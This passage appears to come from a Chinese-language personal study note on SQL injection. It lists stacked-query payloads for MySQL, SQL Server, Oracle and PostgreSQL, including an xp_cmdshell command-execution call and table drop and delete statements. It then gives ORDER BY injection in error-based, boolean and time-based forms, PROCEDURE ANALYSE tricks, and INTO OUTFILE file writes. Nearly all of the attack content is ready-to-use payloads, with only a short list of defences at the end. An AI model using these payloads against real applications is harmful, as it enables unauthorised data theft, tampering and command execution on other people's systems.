select * from users where id=1;insert into users(id,username,password) values('100','new','new');
select * from users;
2、sql server
增加数据表
select * from test;create table sc3(ss CHAR(8));
删除数据表
select * from test;drop table sc3;
查询数据
select 1,2,3;select * from test;
修改数据
select * from test;update test set name='test' where id=3;
sqlserver 中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
3、Oracle 数据库
上面的介绍中我们已经提及, oracle 不能使用堆叠注入
4、Postgresql 数据库
新建一个表
select * from user_test;create table user_data(id DATE);
select * from user_data;
删除上面新建的user_data 表
select * from user_test;delete from user_data;
查询数据
select * from user_test;select 1,2,3;
修改数据
select * from user_test;update user_test set name='modify' where name='张三';
select * from user_data;
13、order by后的注入
测试
?sort=1 desc--+
?sort=1 asc--+
显示结果不同,说明可以注入
- desc是 descend 降序意思
- asc 是 ascend 升序意思
可利用 order by 后的一些参数进行注入
也就是构造order by 后的一个语句,让该语句执行结果为一个数
我们尝试
?sort=right(version(),1)--+
?sort=left(version(),1)--+
没有报错,说明数字没有起作用
考虑布尔类型、报错注入和延时注入
可以直接构造 ?sort=
后面的一个参数。此时,我们可以有三种形式:
- 直接添加注入语句,
?sort=(select ***)
- 利用一些函数。例如 rand()函数等,
?sort=rand(sql 语句)
- 利用 and,例如
?sort=1 and (加 sql 语句)
报错型注入
?sort=(select(要注入的语句))--+
?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select group_concat(database()) limit 0,1),0x3a,0x3a,floor(rand()*2)))--+
布尔型注入
?sort=rand(要注入的语句)--+
?sort=rand(ascii(left(database(),1))=115)--+
?sort=rand(true)--+
?sort=rand(false)--+
rand(true)和 rand(false)的结果是不一样的,说明注入成功
延时型注入
?sort=1 and (要注入的语句)--+
?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))--+
?sort=1 and (select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)--+
?sort=1 and (left(database(),2)>'sa')--+
procedure analyse 参数后注入
利用 procedure analyse 参数,我们可以执行报错注入
同时,在 procedure analyse 和 order by 之间可以存在limit 参数
我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 rocedure analyse 进行注入
?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你希望的查询语句))))--+
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+
select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)
将查询结果导入到文件当中
?sort=1 into outfile "/tmp/test1.txt"--+
?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile "/tmp/test1.txt"--+
14、防御措施
简单的防御措施
- 构造sql语句时使用参数化形式
- 采用sql语句预编译和绑定变量
- 严格的过滤
- 使用SQL Server数据库自带的安全参数
- 设置陷阱账号
结语
对这将近一个月的sql学习做个归纳和总结